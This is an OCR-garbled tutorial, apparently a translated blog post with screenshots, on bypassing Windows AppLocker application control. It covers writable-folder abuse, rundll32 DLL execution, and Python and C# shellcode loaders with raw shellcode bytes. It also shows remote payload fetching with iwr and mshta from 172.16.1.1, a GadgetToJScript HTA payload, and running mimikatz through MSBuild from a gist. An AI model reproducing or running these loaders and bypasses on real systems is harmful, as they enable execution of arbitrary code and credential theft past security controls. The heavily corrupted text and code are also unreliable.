[T

(T Beacon M T T T T AppLlocker ITTITITITT

AppLocker

AppLocker [] Microsoft [TTTTTTIITIT] Windows [l Locker [TTTIITIITIIT]

Applocker Properties >
Enforcement  Advanced

Specify whether AppLocker rules are enforced for each rule
collection.

Executable ules:
Corfigured

Enforce rules e

Windows Installer rules:
[] Configured

Erforce rules

Script rules:
Corfigured

Erforce rules e

Packaged app Rules:
[ ] Configured

Enforce rules

Mare about rule enforcement
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Action User Mame Condition  Exceptions

wd Allow Everyone (Default Rule) All files located in the Program Files folder Path
ud Allow Everyone (Default Rule) All files located in the Windows folder Path
wd Allow BUILTIMYAG...  (Default Rule) All files Path

[IT] FileO1 [TII11] exe [11J

Get- ChildItem -Path HKLM: \SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe\

EX¥ Windows PowerShell — O
PS C:\users\john> Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpVv2\Exe\

Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Srpv2\Exe

Property

921cc481-6el7-4653-8F75-050b80 value : <FilePathRule Id="921cc481-6el7-4653-8f75-050b80accal20”™ Name="(Default Rule)
acca20 A1l files located in the Program
Files folder" Description="Allows members of the Everyone group to run
applications that are located in the
Program Files folder." UserOrGroupsid="s-1-1-0"
Action="AlTlov Conditions i lePathCondition
Path= ROGRAMFIL »</Conditions FilePathRul
a6lc8b2c-a319-4cd0-9690-d2 Value : <FilePathRule Id="a6lc8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule)
ad/b51 All files located in the Windows
folder” Description="Allows members of the Everyone group to run applications
that are Tlocated in the Windows
folder.” UserOrGrou d="5-1-1-0" Action="Allow"><Condition FilePathCondition
Path= Condition /FilerathRule
6d83-aB829-4351-8ff4-27c/7de value : <FilePathRule I f 6d83-aB829-4351-8ff4-27c7de5755d2" Name="(Default Rule)
All files" Description="Allows
membehs of the 1o§2l"Adm1nwstlatots group to run all applications.’
ondition FilePathCondition
/FilePathRule>

[LITTTTIIT]

Get-ChildItem -Path HKLM: \SOFTWARE\Policies\Microsoft\Windows\SrpV2\Script\

PS C:‘\users\john> Get-ChildItem -Path HKLM:\SOFTWARE\Policies‘Microsoft\Windows\Srpv2\Script\
Hive: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Srpv2\Script

Name Property

e6/b-934c-454f-a263-2515c8 value ilePathRule Id="06dceb/b-934c-454f-a263-2515c8 abd"” Name="(Default Rule)
A1l scripts located in the
Program Files folder" Description="Allows members of the Everyone group to run
scripts that are located in the
Program Files folder." UserOrGroupsid="s-1-1-0"
Action="AlTov onditions ilePathCond on
Path="%PROGRAMFILES’ onditions ilePathRulex>
0428c672-5fc3-471f4-808a-a0011f value : ilerPathRule 1d="9428c6; fc3-47f4-808a-a0011f36dd2c” Name="(Default Rule)
36dd2c All scripts located in the
windows folder" Description="Allows members of the Everyone group to run
scripts that are located in the
Windows folder." UserOrGroupsid="s-1-1-0"
Action="ATTov i 11ePathCond1tion
FA /Conditions></FilePathRulex>
d0cb-15ff-430f-b82c-8d7832 value : F11ePathRu1e 1d dOcb-15ff-430f-b82c-8d 295 Name="(Default Rule)
2 All scripts"” Description=" "A11ows
membets of the 1oca1 Adm1n1st|ato|s group to run all scripts.

Conditions=<FilePathCondition
Path="% Conditions></FilePathRule>
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AppLocker

[TT1TI
[T ApplLocker [ENWIAOME ARIGboMENIEEKENE W ink

c: \windows\system32\microsoft\crypto\rsa\machinekeys
c: \windows\system32\tasks migrated\microsoft\windows\pla\system
c: \windows\syswowb4\tasks\microsoft\windows\pla\system
c: \windows\debug\wia

c: \windows\system32\tasks

c: \windows\syswowb4\tasks

c: \windows\tasks

c: \windows\registration\crmlog

c: \windows\system32\com\dmp

c: \windows\system32\fxstmp

c: \windows\system32\spool\drivers\color

c: \windows\system32\spool\printers

c: \windows\system32\spool\servers

c: \windows\syswow64\com\dmp

c: \windows\syswow64\fxstmp

c: \windows\temp

c: \windows\tracing

T IIIIIT] AppLlocker 111

Ps C:\users\john> copy C:\windows\system32\calc.exe
s C:\usersh\john> .\calc.exe

T AppLlocker [T111
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S C:\windows\system32\spool\printers> copy C:\windows\system32\calc.exe
C:‘\windows\system32\spool\printers> calc.exe
C:‘\windows\system32\spool\printers>

J Caleul.. —

View Edit Help

[T] DLL [T]
AppLocker [] DLUTTTTTTTTIRWLL [T
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Applocker Properties x

Erforcement  Advanced

Specify whetherthe DLL rule collection is enabled.

L DLL rules can affect system performance

Onby enable DLL nules after thoroughly reviewing the Applocker
documentation. DLL rules can affect system peformance and
cause unexpected behavior if they are not propery implemented.

[] Enable the DLL rule collection

Mare about DLL rules

Cancel Aorly

OTTTFuRdn32 OUrMeEHateBaxN API[]

#include "pch. h"
#include "windows. h"
#include "stdlib. h"

#include <stdio. h>

extern "C" _ declspec(dllexport) void msg export()

{
MessageBoxA(NULL, "From export function", "Message", MB_OK);
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void msg_dllmain()

{
MessageBoxA(NULL, "From D1llMain", "Message", MB OK);

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul reason for call,
LPVOID lpReserved

{
switch (ul reason for call)
{
case DLL PROCESS ATTACH:
msg_dllmain();
break;
case DLL THREAD ATTACH:
case DLL THREAD DETACH:
case DLL PROCESS DETACH:
break;
}
return TRUE;
}

[T msg_calc [ITITITIIIIIT] AppLocker(]

PS D:\tooling\dllcpp\x6U4\Release> rundll32 dllcpp.dll,K msg_export
PS D:\tooling\dllcpp\x6U4\Release>

Message

From export function
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AppLocker [[TWindowPNthpnfava [TTTTTTTTTTITITTTITITTITTITIITIT Python [ITITITTIIITITT Pythe

FileO1 [T11] Python [TTTTITTITITITII

E¥ Windows PowerShell

PS C:\users\john\Desktop> py N ) ] N
Python 3.10.0 (tags/v3.10.0:b494f59, oct 4 2021, 19:00:18) [MsC v.1929 64 bit (AMD64)] on win32
ype "help", "copyright", "credits" or "license" for more information.

[T11] Shellcode [ITTITShellcode [TTIT] calc.exe [IT]

import ctypes, struct

shellcode = b" \xfc\x48\x83\xe4\xf0\xe8\xcO\x00\x00\x00\x41\x51"
shellcode += b" \x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52"
shellcode += b" \x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72"
shellcode += b" \x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xcO"
shellcode += b" \xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
shellcode += b" \x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b"
shellcode += b" \x42\x3¢c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
shellcode += b" \x85\xcO\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44"
shellcode += b" \x8b\ x40\ x20\x49\x01\xd0\xe3\x56\x48\ xff\xc9\x41"

shellcode += b" \x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0O"

shellcode += b" \xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe®\x75\xf1"
shellcode += b" \x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\ x44"
shellcode += b" \x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode += b" \x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
shellcode += b" \xdO\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
shellcode += b" \x41\x5a\x48\x83\xec\x20\x41\x52\xf f\xe0\x58\x41"
shellcode += b" \x59\x5a\x48\x8b\x12\xe9\x57\xf f\xf f\xff\x5d\x48"

shellcode += b" \xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d"
shellcode += b" \x01\x01\x00\x00\x41\xba\x31\x8b\x6T\x87\xff\xd5"
shellcode += b" \xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\ xff"
shellcode += b" \xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
shellcode += b" \x75\x05\xbb\x47\x13\x72\x6F\x6a\x00\x59\x41\x89"
shellcode += b" \xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"

shellcode=bytearray(shellcode)

ctypes. windll. kernel32. VirtualAlloc. restype = ctypes.c _uint64
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ptr = ctypes. windll. kernel32. VirtualAlloc(ctypes.c _int(0),
ctypes. c_int(len(shellcode)),
ctypes. c_int(0x3000),
ctypes. c_int(0x40))

buf = (ctypes.c char * len(shellcode)). from buffer(shellcode)

ctypes. windll. kernel32. RtlMoveMemory( ctypes. c_uint64(ptr),

buf,

ctypes. c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))

ht = ctypes. windll. kernel32. CreateThread( ctypes. c_int(0),
ctypes. c_int(0),
ctypes. c_uint64(ptr),
ctypes. c_int(0),
ctypes. c_int(0),
ctypes. pointer(ctypes.c int(0)))

ctypes. windll. kernel32. WaitForSingleObject(ctypes. c_int(ht), ctypes.c int(-1))

[0 File01 [1Jjohn [IT1T] Shellcode MTTTTITITITITIIIITITIT AppLocker [IT]

C:\users\ john\Desktop> iwr http://172.16.1.1/calc.py -o calc.py
C:\users‘john\Desktop> py .\cal

hellcode located at address OxlelZf
C:\users\ john\Desktop>

_| Caleul... —
View Edit Help
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HTA
hta T TCNWimdoWsT$ysirehiBiZ1ifishta.exe [TT1T] mshta.exe [TTTTTTIISEFiPE ApitedheT [THH

(1T calc.exe [IT1T] hta 1111

<html>

<head>

<script language="JScript">

[var shell = new ActiveXObject("WScript. Shell");
[Var res = shell. Run("calc. exe");
</script>

</head>

<body>

<script language="JScript">
[belf. close();

</script>

</body>

</html>

GadgeEfTeIbidript (https://github.com/med0x2e/GadgetTo)Script) [TTTTINET gaddgéf
BinaryFormatter [JS/VBS/VBA [[NETIIIIIIT OfficeqdB 111111

[MestAssembly [PHogram.cs [T[ITTT]1] Shellcode [ITTTTITIT]

using System;
using System. Runtime. InteropServices;

using System. Windows. Forms;

namespace TestAssembly{

public class Program{

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]

static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint
flAllocationType, uint flProtect);

[DIlImport("kernel32.dl1")]

static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr
lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr 1pThreadId);

[DLlImport("kernel32.dll")]


https://github.com/med0x2e/GadgetToJScript

static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

public Program() {
byte[] buf = new byte[] {
Oxfc, Ox48, 0x83, 0Oxed4, 0Oxf0O, Oxe8, 0OxcO, 0x00, O0x00, Ox00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, Ox65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, Oxb7, Ox4a, Ox4a, 0Ox4d, 0x31, 0xc9, 0x48, 0x31, 0OxcO,
Oxac, 0x3c, 0Ox61l, Ox7c, 0x02, 0x2c, 0x20, 0x41, Oxcl, 0Oxc9, 0x0d, 0x41,
0x01, Oxcl, Oxe2, Oxed, 0x52, 0x41, 0Ox51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xdO, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0OxcO, 0x74, 0Ox67, 0x48, 0x01, 0OxdO, 0x50, Ox8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xdO, Oxe3, 0Ox56, 0x48, Oxff, 0Oxc9, 0x4l,
Ox8b, 0x34, 0x88, 0x48, 0x01, 0Oxd6, 0Ox4d, 0x31, 0Oxc9, 0x48, 0x31, 0OxcO,
Oxac, 0x41, 0Oxcl, 0Oxc9, 0x0d, 0x41, 0x01, Oxcl, 0x38, 0xe0d, 0x75, Oxfl,
Ox4c, 0Ox03, 0Ox4c, 0x24, 0x08, 0x45, 0x39, 0xdl, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, OxdO, 0Ox66, 0x41l, Ox8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, Oxlc, 0x49, 0x01, OxdO, 0O0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xdo, 0x41, 0x58, 0x41, 0Ox58, Ox5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, Ox5a, 0x48, 0x83, Oxec, 0x20, 0x41, 0x52, Oxff, 0Oxe0, 0x58, 0x41,
0x59, Ox5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, Oxff, Oxff, Oxff, 0Ox5d, 0x48,
Oxba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x060, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0Ox01, Ox00, 0x00, 0x41, Oxba, 0x31, 0x8b, 0x6f, 0x87, 0Oxff, 0Oxd5,
Oxbb, 0Oxf0, Oxb5, 0xa2, 0x56, 0x41l, Oxba, 0xa6, 0x95, 0xbd, 0x9d, Oxff,
0xd5, 0x48, 0x83, 0Oxc4, 0x28, 0Ox3c, 0x06, 0x7c, 0xOa, 0x80, Oxfb, 0xeO,
0x75, 0Ox05, Oxbb, 0x47, 0x13, 0x72, 0Ox6f, 0Ox6a, 0x00, 0x59, 0x41, 0x89,
Oxda, Oxff, Oxd5, 0x63, 0x61l, Ox6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00};
int size = buf. Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal. Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr. Zero, 0, addr, IntPtr.Zero, 0, IntPtr. Zero);
WaitForSingleObject(hThread, OxFFFFFFFF);

[@adgetTo)Script [MestAssembly[TT]T] GadgetTo)Script.exe [T] TestAssembly.dll [ITTTTTTT] hta 1T



D:\tooling\GadgetToJScript—-master\TestAssembly\bin\x64\Release>GadgetToJScript.exe —w hta -b -0 cal -a TestAssembly.dll
[+]: Generating the hta payload

[+]: First stage gadget generation done.

[+]: Loading your .NET assembly:TestAssembly.dll

[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: cal.hta

D:\tooling\GadgetToJScript—-master\TestAssembly\bin\x64\Release>|

(ITITITIT] mshta [T] AppLocker [TTTTTTTITIT] C# OTTTTITT APITIITIT

:\users\john\Desktop> C:\windows\system32\mshta.exe http://172.16.1.1/cal.hta
:\users\john\Desktop:>

;J Caleul... —
View Edit Help

LOLBAS

LOLBAS[Live Off The Land Binaries, Scripts and Libraries (https://lolbas-project.github.io/)ITT]
OLOLBAS [ITITTITIITITITIITT] Ap S8l dl EXE TTTNEN [HéW &S eIbEloe e EPE 1] mimikatz.exe
https://gist.githubusercontent.com/xenoscr/abal02e5f83d3be26blfe50b15f35c49/raw/04d7da8a72

b00fb08e4c5bbd713a041ea2567443/Katz.Proj [TTTT] mimikatz.exe [ITITIIIT] MSBuild.exe [J AppLocke
C# [IIIDI MSBuild.exe [TTIAppLocker TTTTITTTIIITIIIIIITITIIILI
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https://gist.githubusercontent.com/xenoscr/aba102e5f83d3be26b1fe50b15f35c49/raw/04d7da8a72b00fb08e4c5bbd713a041ea2567443/Katz.Proj

LN mimikatz 2.1.1 %86 (oe.ea)

S C:\users\john\Desktop> C:\Windows\Microsoft.NET\Frameworki\v4.0.30319\MSBuild .\mimikatz.proj
ricrosoft (R) Build Engine wversion 4.7.3190.0

[Microsoft .NET Framework, version 4.0.30319.42000]

opyright (C) Microsoft Corporation. All rights reserved.

d 7/20/2023 6:43:35 PM.
Preferred Load Address = 400000
Allocated space For AAD00 at 6280000
section .text , Copied To 6281000
section .rdata Copied To 62E2000
Ssection .data Copied To 631cC000
Section .rsrc Copied To 6320000
section .reloc Copied To 6324000
Delta = 5E80000
oaded ADVAPI32.dl11
oaded CRYPT32.d11
oaded cryptdll.dl]
oaded FLTLIB.DLL
oaded NETAPI32.dl11
oaded ole32.d11
oaded OLEAUT32.d11
oaded RPCRT4.d11
oaded SHLWAPI.d11
oaded SAMLIB.d1]1
oaded Secur32.dll
oaded SHELL32.d11
oaded USER32.d11
caded USERENV.dT11
oaded VERSION.d11
oaded HID.DLL
caded SETUPAPI.d1]
oaded WinscCard.dl11
oaded WINSTA.d1]1
oaded WLDAP32.d11
oaded advapi3?2.dl1
oaded msasnl.dl]
oaded ntdl11.d11
oaded netapi32.dl1
oaded KERNEL32.d11
oaded msvcrt.dl]
xecuting Mimikatz

.. mimikatz 2.1.1 (x86) built on Feb 3 2018 23:33:01
CH#E A ##. MA La vie, A L'Amour” - (oe.eo)
## / \ ## /*** Benjamin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
## N\ / ## > http://blog.gentilkiwi.com/mimikatz
"#it v ## ncent LE TOUX ( vincent. letoux@gmail.com
K i > http://pingcastle.com / http://mysmartlogon.com BT
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.
CHE A
# o/ N\ ##
## \ / ##
T v #

B

mimikatz (commandline) #
RROR mimikatz_dolLocal ;

Nodule
ull name
Description

exit

cls
answer
coffee
sleep
Tog
basebd
version
cd
localtime
hostname

mimikatz # coffee

CC

WDAC

Windows Defender [TTTTITT] WDACT] Windows 10 [TTTTITIITT AppLockerTTTTITITITITITITIIIT WDAC

WDAC [ITITTITT]

mimikatz 2.1.1 (x86) built on Feb
A La vie, A L"Amour"” - (
/%% Benjamin DELPY "“gentilkiwi’

pIhttp:fﬁb]og.genti]kiwi.comfmimikatz

> http: //pingcastle.com / http

I 3 2018 23:33:01

(oe.eo) ) )
( benjamin@gentilkiwi.com )
LE TOUX

ncent ( vincent. letoux@gmail.com )

//mysmartlogon.com s

Amimikatz.proj
" \mimikatz.proj" command of "standard" module not found !

standard
Standard module )
Basic commands (does not require module name)

Quit mimikatz

Clear screen (doesn't work with redirections, like PsExec)
Answer to the Ultimate Question of Life, the Universe, and Everything
Please, make me a coffee!

Sleep an amount of milliseconds

Log mimikatz input/output to file

switch file input/output basef4

Display some version informations

Change or display current directory

Displays system local date and time (0] command)

Displays system local hostname

[TTTIRMIEZNDE- [T EXE T mimikatz.exe [11] Base64 M

(LTI

I T I T I

[REEDELI/Dithub.com/bohops/UltimateWDACBypassList [TTT11] WDAC [T1111]
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